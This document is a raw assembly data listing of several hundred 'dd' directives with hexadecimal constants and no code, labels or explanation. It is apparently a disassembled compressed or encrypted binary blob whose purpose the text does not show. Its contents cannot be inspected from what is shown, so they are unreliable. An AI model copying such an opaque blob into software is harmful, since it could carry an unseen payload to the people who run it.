dd 1F6AB2EDh, 0E86434Fh, 0BE892109h, 247F440Ah, 662B4BD4h
dd 9F906353h, 35118446h, 70972DF8h, 26F4B728h, 0C894845Ah
dd 0B3A20E52h, 0FD38C4D1h, 181AE921h, 6011D2DBh, 3C9D8B07h
dd 6EE80DC4h, 4E540EE1h, 1121B7EBh, 5A27FD38h, 0D8752A62h
dd 0F7856321h, 3EB3B70Fh, 8145351h, 21C95037h, 0BD64333Ch
dd 3823BDA3h, 0A8844890h, 9C762184h, 0D435C193h, 0D6B4AE0Eh
dd 0F5D9BDE0h, 8832759Dh, 29B3E2D6h, 44E47782h, 4E3CFC52h
dd 0CC4622BBh, 9D3B6621h, 57086B45h, 7369AFBFh, 0C3DD980Ah
dd 9F1E869Eh, 0F02546ECh, 5DA9A443h, 7FF311AFh, 4084E882h
dd 0CD0875D3h, 3109E53Eh, 3AA07647h, 0E89A01F8h, 3833F911h
dd 5674C5F6h, 50757528h, 8EB4194Ah, 4D8D3D0Bh, 6F3E40F0h
dd 44F89E3Ah, 509012E0h, 0F56580F8h, 0E31C6C5Dh, 93278694h
dd 0E0F8B19Bh, 0AAEBD551h, 29AC4A42h, 59EC3300h, 3CFD24E9h
dd 1986C4EFh, 0EC7AFC22h, 0DB4448EBh, 0EC79FAFDh, 589050E8h
dd 45A043C8h, 865C9F45h, 0E2724AD4h, 6551A2D0h, 16588A0h
dd 0F5E4590h, 65735A28h, 0D0601B85h, 4A2D94B6h, 0FC0D6C19h
dd 3A10647Dh, 94F2523Dh, 0BFE3B12h, 0B79A3058h, 4227A941h
dd 0DB04D823h, 466486B8h, 0DE3B461Ah, 2312453Ch, 0AFE80938h
dd 0A7EEF518h, 3BC3FD70h, 4A0676FBh, 10B3C39Ah, 0BF34CE64h
dd 0DFCFC1F2h, 4194CAD3h, 6B830980h, 0EF384EC9h, 3455D3Fh
dd 5E4E1C13h, 4FB0C32Ch, 7DF02818h, 972ED384h, 360204F0h
dd 10575812h, 512542A3h, 6DE85666h, 6389E995h, 0FC236619h
dd 77064417h, 2ECA037Ch, 890938B8h, 39E3E99Eh, 0A27A6B6h
dd 0BE39229Dh, 19FB570Ch, 7895305h, 2C104382h, 174CEBA2h
dd 623C91C8h, 6A37FFA9h, 1B542F57h, 6084E4E5h, 68C25FE8h
dd 5E7684F0h, 22F9C9E2h, 2011703Eh, 4208296Eh, 82898D77h
dd 0BE9333DEh, 0EF9CD7EBh, 852CBB63h, 0E1E81009h, 0E32BF417h
dd 0FA8C4759h, 98578CF4h, 9F148E8Ch, 0B5E8F70h, 0C1332780h
dd 510B9D43h, 7C193A78h, 2A0D4804h, 9F4DFC34h, 88E601F8h
dd 32A90168h, 13B39B10h, 0AEA8C4Ah, 0A75E0504h, 6858EDEh
dd 0A317A9EBh, 6A2491BEh, 45F13F01h, 39F58A6Ah, 930C2983h
dd 8AA1F816h, 9E49B82Ah, 85A4127Bh, 7D04D8FFh, 1352F846h
dd 5314A04Eh, 5F02576Bh, 0F839BFC6h, 57F4A589h, 0C0D3192h
dd 9B82AAAh, 0EA1FBA96h, 0DB183A93h, 0B8046A81h, 5BF82CEBh
dd 0C73B6355h, 23744106h, 952F8868h, 0B816E885h, 488D8281h
dd 4E89DD0Fh, 167E2AA2h, 78692C76h, 56712EEAh, 4B781B71h
dd 0F621B120h, 8A17D964h, 0BE419694h, 3ABEA4F5h, 2C2CA029h
dd 0FAD09263h, 0FA92E18Ah, 1122A982h, 6814411Dh, 443E524Ch
dd 8667732Ch, 97971444h, 74600FD4h, 9DC4EB02h, 5FAE21Eh
dd 0BC0CA789h, 0FB11FD47h, 14ED8F15h, 443C2517h, 0CACA5E9Eh
dd 21E659E9h, 6F7408BCh, 24AEA7C4h, 0B4131692h, 19BD30F9h
dd 86D56814h, 4AACF548h, 5815B497h, 0B4DB3388h, 144D2180h
dd 0BB97D668h, 3FC19A94h, 1D479D88h, 0BDD5BFA6h, 0C14BED74h
dd 0A39D4573h, 0D74246Ah, 912DB9E8h, 4E4C910Ch, 100AB832h
dd 3B7A0444h, 1C027233h, 9B3D2253h, 9AD87E9Fh, 1A251240h
dd 5702A0C3h, 0E80B750Dh, 4660216Ch, 0FBABBDFFh, 6D551E52h
dd 6B13CA46h, 0CFFC740h, 5468828Bh, 3756A0B8h, 0B52D69E8h
dd 0FC0B1BB0h, 0D845CEAh, 4AAE24A8h, 110E4E31h, 64F88AA0h
dd 0E9829BFh, 3295F41Fh, 7F282572h, 0DE47425h, 4D746B1h
dd 7D75F0B9h, 75DDEC48h, 0F8171195h, 0B7302C90h, 0CB2310D8h
dd 162EA8F4h, 0D22B0EFh, 5DC259Fh, 0F0081522h, 0F9832233h
dd 14F48CABh, 0A164221Ch, 77468CD2h, 0FCBC281Ah, 63C5213h
dd 2520FD21h, 145B1C90h, 3C2249E6h, 0BC7C5AC8h, 57BF7528h
dd 0FC211789h, 0C8D06C10h, 1017722Bh, 685CC8BCh, 175B15D1h
dd 4C8A7290h, 1AE49317h, 141A2F46h, 31E80718h, 91DCFC5Fh
dd 190BBD62h, 0B4C8C459h, 713550C5h, 3D43F4CAh, 1315BC29h
dd 6E6336C0h, 0C71E204Ch, 0F3EF958Eh, 29953A65h, 0F39F0EFh
dd 10E8A6C9h, 0F9778D08h, 0F0F5602Bh, 134168E8h, 6B45A46Dh
dd 2F214B31h, 0E8F62C2Bh, 0C9B48B4Dh, 777796FCh, 352984E4h
dd 0A9A4A595h, 576CCBE2h, 0B0B6B17h, 62B14513h, 0C21B43AFh
dd 0FEB83086h, 8E6B7788h, 195D80FCh, 15D810AFh, 9812354Ch
dd 0E153F90Fh, 0C308FD70h, 0B53C1246h, 5FB95F47h, 0EB240269h
dd 0B6A81EFCh, 0A0922020h, 0A1117DEFh, 33087098h, 0E5E91384h
dd 0EC1A2106h, 14D20C6h, 0F4E44AC9h, 0EC0318DDh, 9864E880h
dd 1AA8BD1h, 51E44D85h, 0B306E153h, 1A38BCD8h, 98681D75h
dd 87381177h, 88463FA1h, 8F446BEDh, 70270E54h, 0E2744CB1h
dd 10891C22h, 6182942Ah, 0E4150C82h, 0F0595D23h, 40394886h
dd 6DA5390Fh, 922B10h, 0C0558DC9h, 28F15253h, 27595827h
dd 7F22F751h, 55B205FCh, 0ED461E74h, 0EC83001Fh, 0C0758D10h
dd 71B5FC8Bh, 2A59824h, 67A31868h, 7AB7FBCCh, 220CB46h
dd 0CD84DC42h, 51DC7114h, 0CDC00895h, 44CFA477h, 19850C3Ch
dd 4A3947B8h, 1F9B2132h, 4790E845h, 84629FB0h, 0D8034060h
dd 0A26D1085h, 26B024D8h, 546489CFh, 8E867D1Ah, 64375536h
dd 78D004FEh, 0C40448D4h, 3D8BD082h, 813515Dh, 680AF844h
dd 94FE314h, 6550C4D7h, 0D4E0F4ECh, 0F04761BBh, 78530313h
dd 83EAD0E0h, 3F48E0C8h, 0B2850614h, 0CF283444h, 20EF5E13h
dd 0B4A410C0h, 4E1F269Eh, 73C13B83h, 9BC98B33h, 76F3C1D2h
dd 0E843C22Bh, 3AB0035Dh, 0ECBC5AC3h, 0FA44104Bh, 7EB2C05h
dd 410A2288h, 0D69181F5h, 9CF9DE72h, 1D8D43F9h, 148D14EBh
dd 98A7BF9Eh, 8B0A9E43h, 93B50435h, 84CAFCBFh, 0CCBE5C85h
dd 4DCAD683h, 3E4D0AF6h, 58AEF56Eh, 85368BAh, 5D625D4h
dd 758030D0h, 6F9D38F0h, 256A2B09h, 67504553h, 49B279F8h
dd 0C8888B54h, 91DE4288h, 424C1411h, 5B8847BCh, 32D4D6ACh
dd 0A8880421h, 91D088FCh, 0F1EABE65h, 1154091Ah, 6B0FFCFDh
dd 2B2BF4A6h, 8EE99013h, 37695E40h, 1A726534h, 188810CFh
dd 9B9D55E7h, 1A284565h, 646488A7h, 39183237h, 0A16F0D58h
dd 52A82AA9h, 0FF7CC2E4h, 0E0D421D7h, 817B4376h, 22CB3AFEh
dd 0D3D2370h, 0C158512Ah, 4D8C0922h, 803F1275h, 7440F90Ch
dd 0EA2E0A0Ah, 755F8005h, 88250B62h, 472DA38Ch, 403B8A46h
dd 90BD72C4h, 3808FF94h, 8D1A24B0h, 401346B5h, 5B0FD41Fh
dd 7D5BED86h, 56489995h, 1404FF91h, 4A8B54BFh, 43AE099h
dd 9C0EEEF6h, 13AE110Eh, 0F445DB42h, 0D0660A7Fh, 1B19C61Eh
dd 4035C342h, 2277AD04h, 844F84FFh, 0A46FCA0Dh, 13195A4Ah
dd 214A4A91h, 0A3EA2C86h, 2040883Ch, 8D405629h, 93090674h
dd 7102245Ah, 0FC31E218h, 8814211Bh, 1B6A8FDCh, 0E50184B4h
dd 390440B6h, 148C0F8Dh, 95572247h, 295DE26Eh, 87FC45B8h
dd 0DE9E889h, 42F3DC3Eh
dd 0F4BE37C2h, 1965C587h, 230DBB56h, 8813D012h, 0A1C848C9h
dd 86A0911h, 157B2996h, 0ECC56D99h, 0E29E5A48h, 17995B75h
dd 14D60DE4h, 0E44A444Dh, 8717F064h, 9A5484BAh, 429C8A4Fh
dd 0F48EA9B8h, 0E56BE993h, 0F1885410h, 0C40A0D17h, 116A0D04h
dd 29AF0CEAh, 52909640h, 85FE18C9h, 0F7496229h, 0BC59E4E1h
dd 643952A3h, 49584B1Dh, 0FB4F05E9h, 52D8ABD2h, 9A6E9C98h
dd 0F3C23D92h, 0E9A1F1CBh, 450B4187h, 13590DCh, 2CF9E884h
dd 0C417D2DDh, 2176B677h, 0B7F0E40Ch, 90048A68h, 26EDC267h
dd 5B849229h, 0E425DC65h, 0FC5D881Ah, 136342AEh, 0EC200A53h
dd 21D94D83h, 0F4C96F11h, 0D95F96CAh, 7E46A7F5h, 24533D4Eh
dd 9C3580A0h, 0B6562A6h, 3C090817h, 30896062h, 1F101E6h
dd 8B1C63D1h, 197C21FDh, 72643A60h, 846DF7EAh, 1721FE44h
dd 0D609180Bh, 790B1911h, 99DB7889h, 0EC02F006h, 0DB330801h
dd 0AE935F29h, 5D53A092h, 6A0A9859h, 8C631507h, 0B16EC8Ah
dd 76EC0F45h, 549FC29Fh, 0F47D0A3Eh, 3278641Eh, 327A6563h
dd 6C39EC35h, 8287490Ch, 0FB814308h, 908C917Fh, 0BC7F5C31h
dd 0EBBBCBF2h, 0DBE6408Eh, 748A5F2Ch, 0D7E2E090h, 2DA866B7h
dd 0E0E601F8h, 0AF358B2Fh, 7CD62978h, 0CC34202Bh, 14566A5Eh
dd 140130A1h, 3BF02D62h, 46904E4Bh, 0C64244B8h, 0B48B940h
dd 33297400h, 0F45539D2h, 0F8244075h, 0F0811FEAh, 0EC031AE9h
dd 80415FAh, 10E7A613h, 590A6395h, 12955EBh, 8B047408h
dd 0D102EDD9h, 994BBCD8h, 0F81275F9h, 0F13767BFh, 7D836313h
dd 0D1EC0FE7h, 0F481D015h, 0C110B0B1h, 52747053h, 849C3897h
dd 0A7278489h, 93CC58Bh, 155B6340h, 218DB627h, 2270097Eh
dd 9423863Ah, 9990F8Ah, 61EA1310h, 0F8D23EE2h, 0E6388CCDh
dd 1672D23Ah, 6061EF8Bh, 727F4E7Fh, 0D1571A2Fh, 50220AC4h
dd 2C65641Ah, 98C6EE0Fh, 0D22BE77Ah, 3C7DC8A6h, 83147002h
dd 6AB558C6h, 7F83C3EEh, 5885956Ah, 0E437672Eh, 0B2B0FB63h
dd 720113FBh, 0B44B4A13h, 79E88594h, 481B63FFh, 88023021h
dd 61908B10h, 30430B2h, 49118432h, 3A18200Bh, 0C8C47204h
dd 96314284h, 3A9EDDEBh, 9CB88C70h, 261C9219h, 0C2C008DEh
dd 103803ABh, 577A84FCh, 1149658Ch, 0CEA2FB8Ah, 0BC7F1951h
dd 71B949EAh, 23530FA0h, 0BAAC15Bh, 0DE0B89BBh, 0A433E57Dh
dd 1BE6A6E2h, 8E1095EBh, 0AE4FF690h, 4D04C357h, 24262270h
dd 0EA06DE97h, 89A22FE2h, 0FE2903BBh, 10C011EAh, 661907FFh
dd 890216C7h, 0EB0C4738h, 8356D6Ch, 3F16EBBCh, 0BFA85650h
dd 6B3386E3h, 76BC2A53h, 0D80FC968h, 9324E1D6h, 7C569843h
dd 0F646B578h, 222A6C56h, 5518905Ch, 5260AC14h, 1818ED10h
dd 0F194FE44h, 89537008h, 42A44AD4h, 9DFB4411h, 6A0D8FF7h
dd 23B1133Fh, 0ACB00897h, 44AAB43Eh, 42FB103Ch, 82841AE8h
dd 9274B06h, 4CD67FD0h, 21112B51h, 0EF24A2DBh, 2D94CA6Ah
dd 553764E0h, 1894D65Dh, 0E53348D0h, 966EE4AAh, 0D12ED873h
dd 5438A183h, 0C4668214h, 1522FF54h, 0EE07312Ch, 0A0D41E6Ch
dd 546485D8h, 7028A8E6h, 3B568110h, 0A48DBD98h, 59392FC3h
dd 2842803h, 7BE16385h, 0CDDFA8CCh, 842E1173h, 8A3405AAh
dd 0EB06168Dh, 9514CA1Eh, 0BC547E09h, 0CF008B10h, 0C83BCA2Bh
dd 20FA773h, 0C10C4FB6h, 1C9804E9h, 8B288F34h, 0B29018CEh
dd 0D6832769h, 0A90616DDh, 376D3775h, 0B20E5C9Bh, 382110D2h
dd 0D331A65Dh, 92C7A604h, 1033FBEEh, 8801FC28h, 3270E4ACh
dd 8B6621E8h, 2A9C3F07h, 75C2A13Bh, 84101F4Bh, 84D0A8C9h
dd 0AA88E042h, 0DC126AA4h, 0F4BEAA64h, 6E9BCE45h, 8D3D6927h
dd 15F0AB15h, 3C808008h, 0BA0D313Fh, 80AD5E04h, 38142D3Eh
dd 3E3B080Ah, 0B50718A8h, 810157Eh, 54866651h, 16891E38h
dd 8A009E98h, 0FA803014h, 0C1097D7Fh, 47E1F0Ah, 4131F488h
dd 1C384003h, 3FE97530h, 1BF88A39h, 8E88CB3Bh, 0B732B622h
dd 0B5454AF4h, 0DDFB8913h, 0F7A724C3h, 4AF8418Ah, 8948D6Eh
dd 908D7421h, 0A02888F8h, 24735D6h, 9AA2EB4Bh, 0EFD11ED0h
dd 0F7881546h, 2F90FB2h, 7E666068h, 0FC49035Fh, 834A57F8h
dd 8280465Dh, 2DB3581Ch, 0BFF949D1h, 29AF59B4h, 0C2836C08h
dd 0DD86BFE8h, 0F6B52796h, 151AC9BEh, 7005DA54h, 4A567FB8h
dd 20AF5C52h, 3577319h, 528CF05Eh, 4359A685h, 0D10C2178h
dd 17C81B66h, 7FA47B6Eh, 2E7D75A0h, 9C1AB72h, 0AC7FE9F4h
dd 0B5561118h, 1022716Eh, 5DC523FCh, 2703ABC2h, 7251A805h
dd 77EEA26Ah, 8916D1B7h, 6E7F0446h, 0FA16D3B3h, 0B613D756h
dd 2AA599FBh, 8D13E5F3h, 0C627B046h, 6CCF486Ch, 8B1BD18h
dd 633AD08h, 9FB0BE7Bh, 0F572ACDCh, 157C31E2h, 8D17EB2Ch
dd 551DDBF2h, 2425E00Ch, 9330575Ch, 33417868h, 34C7E5ACh
dd 3237F66Ch, 2FAC840Bh, 0C30C8392h, 56568E73h, 9B954023h
dd 62AC0357h, 0F757324Ah, 89067529h, 0CC82798h, 569BF70h
dd 8655C47Ah, 0AC2FFA12h, 4F20C8C7h, 0DB5EBB40h, 9D98D7B6h
dd 0B8C5A956h, 44E6F7FEh, 7776E811h, 10C299B5h, 28D80E52h
dd 40590A1Eh, 5CFC227Fh, 0E8129708h, 3B45E164h, 0A8882CA9h
dd 2751717Ch, 55DCDCB8h, 0DD032F89h, 0E9BF3C4Ch, 0D996FC9Bh
dd 7B49F933h, 8E0C3515h, 87676C8h, 320D73BFh, 57260416h
dd 6811E10Eh, 0B3212A54h, 404EEA4h, 0BE0289FFh, 6FBD7ACCh
dd 6351FD8h, 51C4D4Ch, 0AAC2EDE8h, 2E4825D3h, 0FF84579Bh
dd 89092104h, 17ED1184h, 0A12E73F5h, 88AC7EDCh, 0C981D2D6h
dd 1AD6E821h, 620D0034h, 58E90B33h, 22D81022h, 6E22A065h
dd 0F56A0791h, 58325BEh, 18A29435h, 9333100Dh, 57A1458Ch
dd 9C9D87C7h, 0D05AA310h, 0A19328A4h, 8908D40Ah, 21D84284h
dd 5FDC117Fh, 853421BBh, 0EE9655E0h, 75C546F7h, 6E2DE113h
dd 1FDD1DDh, 465E8214h, 7BE82C98h, 0C00410A2h, 0D674300Ch
dd 5BC1980h, 425C31DFh, 0D82B07BCh, 0BE2689ACh, 940D3B44h
dd 0D5DA2749h, 7F3EB519h, 2F78F6E3h, 7DA63D4Fh, 501C7D14h
dd 0FC690268h, 1A227408h, 0C410257h, 78376381h, 10569C35h
dd 0B1DC4E08h, 5EFE40Ch, 3B2799EBh, 29E88688h, 9847DE6h
dd 6DEA2A58h, 832EA922h, 741923A1h, 14094862h, 9CEF02B7h
dd 485C85A0h, 0ECCAC15Eh, 0EB0E2883h, 1D85CAC4h, 68BC133Ch
dd 0E8E033EFh, 9B450AEDh, 29A08A4Bh, 21D1A076h, 1996EEDCh
dd 1429E1F9h, 0C2A237Ah, 0B87B8FD1h, 0E925179Ah, 40354954h
dd 3893B7BAh, 13B9E374h, 9DBB142Ah, 193A2318h, 48474DE9h
dd 0C9FEDBD8h, 0D93850Fh, 76F2E8DAh, 84343853h, 0E6EE13F6h
dd 0CCBE974Ch, 110B74FAh, 5490F868h, 95AFE4A9h, 0EEE7AA0Eh
dd 6CFCBD7Eh, 213C2586h, 0A9D0EC81h, 0C80CCC06h, 21C44386h
dd 0C8BC90C0h, 32B464B8h, 0CAC19B0h, 0A44386A8h, 0CC6CA022h
dd 0A99C1403h, 6529810h, 0C901994h, 8853868Ch, 12014628h
dd 46353D51h, 7248C0BEh, 0E9508114h, 5A22D0Ch, 18202842h
dd 0C82BEC73h, 1AC48B37h, 867E147h, 50044080h, 84C1C8C3h
dd 7C328064h, 2CB4EB6h, 14B62253h, 0F168D00Bh, 1910A699h
dd 65E82B0Ch, 0D081166h, 0EB18C263h, 64A2E650h, 1054355Ch
dd 0E9D11C16h, 0EA1DDB9Dh, 0C90BD880h, 6EF7F475h, 648C38F3h
dd 0BC0917Ch, 72D10310h, 4B3B630Eh, 11670877h, 2B867653h
dd 1B10330Ch, 117E1424h
dd 5CF70C88h, 833A2BDAh, 0C25B1570h, 0C6A48310h, 1857AFFFh
dd 43142281h, 8BD82910h, 0EBD31130h, 4B81A641h, 8A81BD14h
dd 0F0F9810Ch, 45451813h, 5CE6F9C5h, 7891084h, 1760C10h
dd 8B9A4E61h, 73445EC6h, 6978FC08h, 7320A170h, 1207515h
dd 0D0AD0F06h, 49C3EAD3h, 1FE1FCE5h, 0C2BAE8F4h, 893014D4h
dd 13243674h, 15535657h, 7D8E2422h, 4886478Ah, 74CA20C6h
dd 0DD45B883h, 15952B29h, 18881C1Ch, 29141C71h, 1424E2D7h
dd 0F98E102Ch, 0B0541A52h, 0E4EBD1F5h, 44D7A6D9h, 4386F1DBh
dd 6418211Ch, 38107214h, 22FD754Fh, 5F5E8553h, 4670E232h
dd 66C54E4h, 64438668h, 5C906021h, 546458C8h, 4C195032h
dd 4386480Ch, 90402144h, 6434C838h, 192C3230h, 2C202328h
dd 0D42E9A6Ah, 0B34B96CAh, 346CB3D8h, 8D098D16h, 5422E978h
dd 35B3A328h, 57F93D64h, 7DA3A197h, 0C4095B88h, 8DA58343h
dd 6852E855h, 1C919770h, 7C248D11h, 0AC6A3B31h, 94894A25h
dd 1FE6C66Ah, 1635C0DFh, 61B1A1EEh, 0C1EC3B5Dh, 0DC960993h
dd 740A31D1h, 0D42F4704h, 0CCE86733h, 0C22FC9C1h, 949BD70Ch
dd 61C54A5Fh, 0E3262AEh, 68E01855h, 0CB236FC8h, 121DCFCDh
dd 766004B1h, 666983F1h, 0F0B2665Eh, 0C40627C7h, 1EC0C664h
dd 800D7408h, 0E163907Ch, 3C17662Eh, 0ADD83E90h, 0C841E85Dh
dd 80BF675h, 4A41DD01h, 7F943FA2h, 4E041C0Ah, 6648AFCFh
dd 295E4E89h, 20570840h, 55C052B1h, 619D4943h, 6F38E83Fh
dd 4BDC59C9h, 0AF23ADFDh, 20B4DA01h, 257BB004h, 0CA6AD448h
dd 1C910618h, 1A238142h, 95392144h, 24282044h, 0F9689824h
dd 4DE9EC0Fh, 109E3AF0h, 0CF1C10E4h, 671408DCh, 440C84D8h
dd 89760B8h, 0E17F36A6h, 80BD015Eh, 0
dd 2D387200h, 9603201h, 48922482h, 22B891A6h, 0F0DA44CAh
dd 812E0288h, 111A052h, 102B2633h, 4092216h, 442AEC20h
dd 0BA89C8E0h, 9E24AC12h, 72918848h, 50446222h, 12368942h
dd 481A2426h, 29FE880Ch, 0D8893A19h, 9C61199h, 24A012B6h
dd 916A4894h, 44462254h, 16892A32h, 0F2220812h, 4C920528h
dd 2A11E490h, 9892C6Ch, 135C894Ch, 66A13250h, 86247609h
dd 0BC91A248h, 0DE44CC22h, 997E89FAh, 0EA591289h, 32C01191h
dd 24A409B0h, 917E4898h, 50014072h, 958C9CCh, 137A8964h
dd 0A0E132ACh, 8C249609h, 0F8888248h, 11781926h, 68099170h
dd 50445A22h, 123C8946h, 48222432h, 10069112h, 0E02227F4h
dd 89D0D844h, 24BE12C8h, 91A848B4h, 4494229Eh, 7C89848Ch
dd 6A247412h, 58916048h, 44444E22h, 1232893Ch, 481E2428h
dd 220C9116h, 2E442B02h, 6C819C4h, 28084280h, 49DE1099h
dd 0FC0991F8h, 222D1210h, 0D8304920h, 975904CCh, 911609C8h
dd 44152212h, 5891302h, 17240A12h, 33910C48h, 1446F22h
dd 12708903h, 48342409h, 220B9106h, 14084410h, 11127489h
dd 493CC24h, 73113239h, 9CB80D09h, 8337126Fh, 0FF46173Ah
dd 6C2D1C03h, 9431A40h, 19F1010Fh, 3E186D26h, 1C1094D2h
dd 1D411474h, 32433A8Ah, 86561140h, 2008230Ch, 486218B5h
dd 2193611h, 20A89180h, 0C30CE834h, 304322D0h, 8AF69001h
dd 5DA14E8h, 1432F03Ch, 88489DA0h, 565C2318h, 3CD01430h
dd 81143829h, 19930520h, 42801304h, 5E40149h, 2319605Ch
dd 1044681Ch, 11C87050h, 42789002h, 0A288D198h, 18D12210h
dd 0A0300532h, 99FE5C32h, 2185C014h, 72012590h, 7848C064h
dd 8C52118h, 14282680h, 220888D8h, 8724A880h, 82CD008h
dd 64142030h, 2D46B128h, 7929EC03h, 1A642878h, 519050C9h
dd 3238F35Ch, 5451E429h, 9E441496h, 1178ADCh, 5575782Ch
dd 0C002BA0Fh, 70637274h, 0BE14C879h, 6E656C41h, 6DD19103h
dd 6FD1E761h, 0D05E0363h, 0E3657266h, 2497109Bh, 90262ABFh
dd 0B6E8AC1h, 0B714B21Bh, 0CBBF69A7h, 4CAC8F66h, 0E06B5D63h
dd 7326A199h, 0B6DF2ACFh, 15616656h, 65F48464h, 663B9ADCh
dd 0F75C7710h, 144C999Bh, 15735F32h, 700C0F57h, 66A05DE3h
dd 0B0986461h, 0CE2E10DBh, 0C63D7890h, 40696F74h, 398CB56Eh
dd 0C2B86E8Ah, 0D850C528h, 1AE1407h, 6E535F7Bh, 8CC02B78h
dd 3DF86D1Fh, 0B38268A7h, 26AF49C7h, 70F16978h, 0F25F66F1h
dd 4150F06Fh, 6969659Ch, 20508D0Eh, 701632B1h, 9468DD74h
dd 24E764A4h, 0A6994572h, 67E56228h, 7F689794h, 0DC243E6Ch
dd 0D5760229h, 3F5E274Bh, 59403310h, 50583741h, 205A7606h
dd 8B320F44h, 10491F28h, 2A029E2Bh, 0CFEEB814h, 0D33DF06Dh
dd 774DE96Eh, 4DA821BCh, 0E1140232h, 2D76B285h, 0BD9BC1B3h
dd 0D06F3C1Ch, 8AB9C91h, 39985021h, 0E07675FAh, 2477F4E6h
dd 65807363h, 6E0A14E3h, 49CABFC8h, 62509399h, 336F189Bh
dd 0B8492C28h, 787143E2h, 61724619h, 0CE594878h, 6534DC0h
dd 54524356h, 0EC89182Eh, 0F85A2128h, 0D904941h, 3215CFD8h
dd 0A433735Fh, 9A7C4C18h, 6586535h, 0C694684h, 0E1A4170h
dd 2E185303h, 0B9C8DB0Bh, 309B7562h, 2E822A73h, 6F797A58h
dd 51E057A6h, 0B8540332h, 81BA886Dh, 0AF50283Eh, 7E446368h
dd 0A2347036h, 28A8249h, 19364A52h, 0C5474D17h, 9B1548Fh
dd 284F027Ch, 75C12BD1h, 0C49F4701h, 15641E4Dh, 4E2A736Ch
dd 77C5CAAFh, 66135216h, 73B2921h, 1D727543h, 3E99DE7Ah
dd 0AB103049h, 3B0D62AAh, 4511EA44h, 0D043DB24h, 87E18C74h
dd 316AEE02h, 1A895908h, 0A662F469h, 0E86BE0Dh, 8CB565ADh
dd 7075F401h, 4325696Ch, 3A29D40Ah, 5088526Ch, 2C45C838h
dd 53020D1Ch, 68D1431Ah, 87E924F6h, 57039786h, 359969C4h
dd 3C04C5C3h, 8983614Ch, 6F7E2645h, 703D9A8Eh, 2679C241h
dd 55AF3850h, 98521C9Fh, 1C0D55D1h, 537B6441h, 2480FACh
dd 74CED44Ch, 95FF6A90h, 99A79B8h, 74D026Bh, 42F77403h
dd 3C54B8CCh, 0D650576Fh, 32686E43h, 0D38B90Ah, 41C47953h
dd 0A8694451h, 6F50C472h, 0AC91142Dh, 0EB4A5447h, 48343026h
dd 0AE4D0E2Ch, 51868CBCh, 9CA01CE9h, 522B90EAh, 5D24173h
dd 996C034Ah, 0FF1994DFh, 0D00252E0h, 9A6CE224h, 61B306DEh
dd 7649584Eh, 0DF25C878h, 3C15644h, 6EF96973h, 4822DE46h
dd 26DF3C0Ch, 922E24D7h, 0FAD07272h, 62320609h, 0A039368h
dd 158B7453h, 4628EE75h, 9EBADE2Ah, 84416E6Bh, 84617053h
dd 4B400815h, 4F844444h, 7954EF80h, 0D57BCA70h, 0B0C62010h
dd 75A8C53Ch, 9AB6906Eh, 8DF15102h, 85079B2h, 2878FEA4h
dd 7F6CD9B0h, 1226B371h, 0BE998279h, 48358A1Ch, 120226FCh
dd 12427349h, 881A355Bh, 0B6995224h, 0DB3736CFh, 0FD441906h
dd 8ECA9C21h, 6C7AACA5h, 0E415D172h, 8BF8532Ah, 428F82D7h
dd 174608B8h, 434782F3h, 76762BB0h, 0E41FEE2Fh, 6E5BE870h
dd 5503051Fh, 708F036Eh, 77F06956h, 2699664Fh, 0DA105E92h
dd 474EF210h, 1A35B7A2h, 4767129Ah, 0EB03B338h, 192637B3h
dd 6E62DE50h, 248D4376h, 8D966DC4h, 0CDEC6156h, 29D02262h
dd 652426BCh, 0B956B92Ah, 5A65650Ch, 494D5432h, 2193788Ah
dd 6422520Ah, 935BD496h, 52E14BC4h, 624CFD4Eh, 8BD58BFAh
dd 7AD83B52h, 0C6229956h, 93F57654h, 50361779h, 0CD67FC74h
dd 930757Eh, 4786611Ch, 0CC0D9AC4h, 349A3A4Ah, 0A24D14C9h
dd 446761CAh, 19724F6h, 4FB12474h, 0C706C66h, 0B5754E28h
dd 2E63BCCCh, 0EE536855h, 1C9C374h, 4DB1A2DEh, 0BE244B9Eh
dd 590ED214h, 76DD907Fh, 0E2877565h, 2F261216h, 141C913Fh
dd 0FD7910D9h, 902096A1h, 0D1F394ECh, 0C1234111h, 501444F9h
dd 0CDA212E9h, 680B66AAh, 21236548h, 327355CEh, 29A0C9A0h
dd 746D032Ah, 61F93452h, 5025852Ch, 5270F6EDh, 566F1696h
dd 17A952EBh, 8550D20Ch, 6341268Ch, 6B691E70h, 33813728h
dd 50B15644h, 6D64A49h, 68530107h, 0D2A4F594h, 0DF7A2A0Fh
dd 1448923Eh, 0BDA06766h, 0D2935F01h, 34376910h, 1C966F18h
dd 14C515F0h, 2D6D7D48h, 0B752C294h, 51A13892h, 928C2C45h
dd 580E5032h, 0B2317B58h, 4E62D30Fh, 55234075h, 58AA4541h
dd 522C6058h, 93698B02h, 0D84F8340h, 52554145h, 1908454h
dd 80B9EEh, 0
dd 41303898h, 40095C32h, 1501424h, 0CB978D00h, 0E2AB90AFh
dd 0B8CCB41Eh, 0D4EAE387h, 0BAB0E72Fh, 0B5B99460h, 0E58300DBh
dd 0F0E89089h, 8E38C6D2h, 9AEB9C82h, 0A18D8023h, 87A28FFEh
dd 0E592CC1Dh, 0F6C7961Ch, 0B8F0DACFh, 29B4C4BAh, 0F81CA399h
dd 8878BCACh, 0B9CE9800h, 0D2F1C5A3h, 0B0876FDBh, 95A79E40h
dd 96E498D7h, 0EAF3AD1Ch, 0A890CC87h, 0A69EFBD1h, 0A93C911Bh
dd 703340Ch, 25023430h, 20806E75h, 28746F62h, 0BB29733Bh
dd 6E3EFD66h, 69779F64h, 74FF685Eh, 67F87277h, 0C82257F9h
dd 4E0A2E1Ch, 0D63D266Fh, 1C24F424h, 7CE7176Dh, 0D510DF1Ah
dd 817C1028h, 2DF09529h, 20469E79h, 0D05E694Ch, 56905C5Dh
dd 0A8AB3AB8h, 0A7207E46h, 694B8708h, 0C2291D6Ch, 0D80E4D9Ah
dd 6D432838h, 652E640Eh, 70204078h, 0F0636F72h, 6878C673h
dd 747F0861h, 40DE6DFAh, 0D0360E76h, 6C20AC40h, 3FAEBAFBh
dd 1261B772h, 8CDA2CBDh, 0AC6D58DCh, 0B12E6F31h, 0D9C4414h
dd 0CF287245h, 0CE68FC36h, 6321C5A0h, 7DB33775h, 0E361C55Ah
dd 0D319770h, 6552080Ah, 3E986DFBh, 68CE9467h, 6F816353h
dd 936EC270h, 0A43863A0h, 0EC537669h, 566A9114h, 740C9122h
dd 66322E19h, 5CA3731Eh, 911421EAh, 424B0D33h, 98AB2F2Fh
dd 4857683Ch, 0DB58A18Bh, 94627781h, 29835360h, 6A4F2074h
dd 0AD7766Fh, 3CE87254h, 3A7666BDh, 4BD36F20h, 404163A3h
